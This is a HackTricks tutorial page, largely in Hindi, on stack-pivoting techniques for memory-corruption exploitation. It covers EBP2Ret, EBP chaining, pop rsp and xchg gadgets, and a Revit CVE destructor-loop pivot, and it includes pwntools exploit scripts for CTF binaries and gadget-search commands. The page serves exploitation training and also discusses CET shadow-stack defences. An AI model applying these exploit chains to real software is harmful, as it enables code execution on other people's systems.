Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 15 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
यह तकनीक Base Pointer (EBP/RBP) को हेरफेर करने की क्षमता का फायदा उठाती है ताकि frame pointer और leave; ret instruction sequence के सावधानीपूर्वक उपयोग के माध्यम से कई functions के execution को chain किया जा सके।
याद दिलाने के लिए, x86/x86-64 पर leave इसके बराबर है:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.
Notes
- On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
- Some compilers omit the frame pointer (see “EBP might not be used”). In that case,
leavemight not appear and this technique won’t work.
EBP2Ret
यह तकनीक खासकर तब उपयोगी है जब आप alter the saved EBP/RBP but have no direct way to change EIP/RIP कर सकते हैं। यह function epilogue के व्यवहार का लाभ उठाती है।
यदि fvuln के execution के दौरान आप स्टैक में एक fake EBP डालने में सफल होते हैं जो उस मेमोरी क्षेत्र की तरफ इशारा करता है जहाँ आपका shellcode/ROP chain address स्थित है (amd64 पर pop के लिए +8 bytes / x86 पर +4 bytes जोड़कर), तो आप अप्रत्यक्ष रूप से RIP को नियंत्रित कर सकते हैं। जैसे ही function return होता है, leave RSP को crafted स्थान पर सेट करता है और उसके बाद होने वाला pop rbp RSP को घटाता है, जिससे प्रभावी रूप से यह उस पते की ओर इशारा करता है जिसे attacker ने वहाँ स्टोर किया है। फिर ret उस पते का उपयोग करेगा।
ध्यान दें कि आपको दो addresses जानने होंगे: वह एड्रेस जहाँ ESP/RSP जाने वाला है, और उस एड्रेस पर स्टोर वैल्यू जिसे ret consume करेगा।
Exploit Construction
सबसे पहले आपको एक ऐसा address जानना होगा जहाँ आप arbitrary data/addresses लिख सकते हैं। RSP यहाँ पॉइंट करेगा और यह पहली ret को consume करेगा।
फिर, आपको ret द्वारा उपयोग किए जाने वाले उस ऐड्रेस का चयन करना होगा जो execution transfer करेगा। आप उपयोग कर सकते हैं:
- A valid ONE_GADGET address.
- The address of
system()followed by the appropriate return and arguments (on x86:rettarget =&system, then 4 junk bytes, then&"/bin/sh"). - The address of a
jmp esp;gadget (ret2esp) followed by inline shellcode. - A ROP chain staged in writable memory.
याद रखें कि controlled area में इन किसी भी addresses से पहले, leave से आने वाले pop ebp/rbp के लिए space for the pop ebp/rbp होना चाहिए (amd64 पर 8B, x86 पर 4B)। आप इन बाइट्स का दुरुपयोग करके एक second fake EBP सेट कर सकते हैं और पहले call के return होने के बाद नियंत्रण बनाए रख सकते हैं।
Off-By-One Exploit
There's a variant used when you can only modify the least significant byte of the saved EBP/RBP. In such a case, the memory location storing the address to jump to with ret must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.
It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.
EBP Chaining
By placing a controlled address in the saved EBP slot of the stack and a leave; ret gadget in EIP/RIP, it's possible to move ESP/RSP to an attacker-controlled address.
अब RSP नियंत्रित है और अगला instruction ret है। नियंत्रित मेमोरी में कुछ इस तरह रखें:
&(next fake EBP)-> Loaded bypop ebp/rbpfromleave.&system()-> Called byret.&(leave;ret)-> Aftersystemends, moves RSP to the next fake EBP and continues.&("/bin/sh")-> Argument forsystem.
इस तरह आप कई fake EBPs को chain करके कार्यक्रम के flow को नियंत्रित कर सकते हैं।
यह एक ret2lib जैसा है, लेकिन अधिक जटिल और केवल edge-cases में उपयोगी।
इसके अलावा, यहाँ एक example of a challenge है जो इस तकनीक का उपयोग एक stack leak के साथ करके एक winning function को कॉल करता है। यह उस पेज का final payload है:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI कॉल साइट्स पर 16-बाइट स्टैक एलाइनमेंट की मांग करता है। अगर आपकी chain
systemजैसे functions को कॉल करती है, तो कॉल से पहले एक alignment gadget (उदा.,ret, याsub rsp, 8 ; ret) जोड़ें ताकि एलाइनमेंट बना रहे औरmovapsक्रैश से बचा जा सके।
EBP उपयोग में नहीं हो सकता
जैसा कि explained in this post, अगर कोई binary कुछ optimizations के साथ या frame-pointer omission के साथ compiled किया गया है, तो EBP/RBP कभी भी ESP/RSP को नियंत्रित नहीं करते। इसलिए, जो भी exploit EBP/RBP को नियंत्रित करके काम करता है वह असफल होगा क्योंकि prologue/epilogue frame pointer से restore नहीं करते।
- Not optimized / frame pointer used:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- अनुकूलित / frame pointer omitted:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 पर आप अक्सर pop rbp ; ret को leave ; ret के बजाय देखेंगे, लेकिन अगर frame pointer पूरी तरह से हटा दिया गया है तो pivot करने के लिए कोई rbp-आधारित epilogue नहीं होगा।
RSP को नियंत्रित करने के अन्य तरीके
pop rsp gadget
In this page आप इस तकनीक का उपयोग करते हुए एक उदाहरण पाएंगे। उस challenge में एक function को 2 विशिष्ट arguments के साथ कॉल करना आवश्यक था, और वहाँ एक pop rsp gadget था और स्टैक से एक leak मौजूद था:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp तकनीक यहाँ देखें:
pivot gadgets को जल्दी खोजें
अपने पसंदीदा gadget finder का उपयोग करके classic pivot primitives खोजें:
leave ; retfunctions या libraries मेंpop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(याadd esp, <imm> ; reton x86)
उदाहरण:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
क्लासिक pivot staging pattern
कई CTFs/exploits में उपयोग होने वाली एक मजबूत pivot रणनीति:
- छोटे initial overflow का उपयोग करके
read/recvको एक बड़े writable region (जैसे.bss, heap, या mapped RW memory) में कॉल करें और वहाँ एक पूरा ROP chain रखें। - RSP को उस region में ले जाने के लिए एक pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) में return करें। - staged chain के साथ जारी रखें (उदा., leak libc,
mprotectकॉल करें, फिर shellcode के लिएread, और फिर उसमें jump)।
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-side parsers कभी-कभी destructor loops को लागू करते हैं जो indirectly उस function pointer को कॉल करते हैं जो attacker-controlled object fields से व्युत्पन्न होता है। यदि हर iteration में ठीक एक indirect call मिलता है (एक “one-gadget” machine), तो आप इसे एक विश्वसनीय stack pivot और ROP entry में बदल सकते हैं।
Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Crafted objects of type
AStringplace a pointer to attacker bytes at offset 0. - The destructor loop effectively executes one gadget per object:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
दो व्यावहारिक pivots:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” जिसमें
8B E0→mov esp, eaxशामिल है, और अंततःret, call primitive से heap-based ROP chain में pivot करने के लिए। - Windows 11 (full 64-bit addrs): दो objects का उपयोग करके constrained weird-machine pivot चलाएँ:
- Gadget 1:
push rax ; pop rbp ; ret(मूल rax को rbp में स्थानांतरित करता है) - Gadget 2:
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), पहले object के buffer में pivot करता है, जहाँ पर एक पारंपरिक ROP chain जारी रहती है।
- Gadget 1:
Windows x64 के लिए pivot के बाद के टिप्स:
- 0x20-byte shadow space का मान रखें और
callसाइट्स से पहले 16-byte alignment बनाए रखें। अक्सर सुविधाजनक होता है कि literals को return address के ऊपर रखें औरlea rcx, [rsp+0x20] ; call raxजैसा gadget उपयोग करें, इसके बादpop rax ; retताकि stack addresses पास किए जा सकें बिना control flow को corrupt किए। - यदि मौजूद हों तो Non-ASLR helper modules स्थिर gadget pools और imports (जैसे
LoadLibraryW/GetProcAddress) प्रदान करते हैं ताकिucrtbase!systemजैसे targets को dynamically resolve किया जा सके। - writable thunk के माध्यम से missing gadgets बनाना: यदि कोई promising sequence writable function pointer के जरिए
callपर समाप्त होती है (उदा., DLL import thunk या function pointer in .data), तो उस pointer को एक benign single-step जैसेpop rax ; retसे overwrite करें। तब sequence वैसे ही व्यवहार करेगा जैसे वहretपर खत्म हुई हो (उदा.,mov rdx, rsi ; mov rcx, rdi ; ret), जो Windows x64 arg registers को load करने में अमूल्य है बिना अन्य registers को clobber किये।
पूर्ण chain निर्माण और gadget उदाहरणों के लिए, नीचे दिए संदर्भ को देखें।
आधुनिक mitigations जो stack pivoting (CET/Shadow Stack) को तोड़ती हैं
आधुनिक x86 CPUs और OSes बढ़ती मात्रा में CET Shadow Stack (SHSTK) लागू कर रहे हैं। SHSTK सक्षम होने पर, ret सामान्य stack पर return address की तुलना hardware-protected shadow stack से करता है; किसी भी mismatch पर Control-Protection fault उठता है और process मर जाता है। इसलिए, EBP2Ret/leave;ret-आधारित pivots जैसी techniques तब crash कर जाएंगी जैसे ही pivoted stack से पहला ret execute होगा।
- For background and deeper details see:
- Linux पर त्वरित जाँच:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Labs/CTF के नोट्स:
-
कुछ आधुनिक डिस्ट्रीब्यूशंस में, हार्डवेयर और glibc समर्थन मौजूद होने पर CET-सक्षम बाइनरीज़ के लिए SHSTK सक्षम होता है। नियंत्रित परीक्षण के लिए (VMs में), SHSTK को system-wide रूप से kernel boot parameter
nousershstkके माध्यम से disable किया जा सकता है, या startup के दौरान glibc tunables के जरिए selective रूप से सक्षम/अक्षम किया जा सकता है (references देखें)। production लक्ष्यों पर mitigations को disable न करें। -
JOP/COOP या SROP-आधारित तकनीकें कुछ टारगेट्स पर अभी भी प्रभावी हो सकती हैं, लेकिन SHSTK विशेष रूप से
ret-आधारित pivots को तोड़ देता है। -
Windows नोट: Windows 10+ user-mode में और Windows 11 kernel-mode में shadow stacks पर आधारित “Hardware-enforced Stack Protection” प्रदान करता है। CET-compatible processes
retपर stack pivoting/ROP को रोकते हैं; डेवलपर्स CETCOMPAT और संबंधित नीतियों के माध्यम से opt-in करते हैं (reference देखें)।
ARM64
In ARM64, the prologue and epilogues of the functions don't store and retrieve the SP register in the stack. Moreover, the RET instruction doesn't return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64 में stack pivoting जैसा कुछ करने का तरीका यह होगा कि आप SP को नियंत्रित कर सकें (किसी ऐसे register को नियंत्रित करके जिसका मान SP को दिया जाता है, या किसी वजह से SP अपना address stack से ले रहा हो और हमारे पास overflow हो) और फिर epilogue का दुरुपयोग करके नियंत्रित SP से x30 register को load करें और RET करके उस पर जाएँ।
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64-bit, off-by-one exploitation जिसमें rop chain की शुरुआत ret sled से होती है
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. प्रोग्राम stack या pie के लिए एक leak और एक qword का WWW प्रदान करता है। पहले stack leak प्राप्त करें और WWW का उपयोग करके वापस जा कर pie leak प्राप्त करें। फिर WWW का उपयोग करके
.fini_arrayएंट्रीज़ का दुरुपयोग करते हुए और__libc_csu_finiको कॉल करके एक eternal loop बनाएं (more info here). इस "eternal" write का दुरुपयोग करके, .bss में एक ROP chain लिखा जाता है और अंत में इसे RBP के साथ pivot करके कॉल किया जाता है। - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — SHSTK,
nousershstk,/proc/$PID/statusflags, औरarch_prctlके जरिए enable करने के विवरण। https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks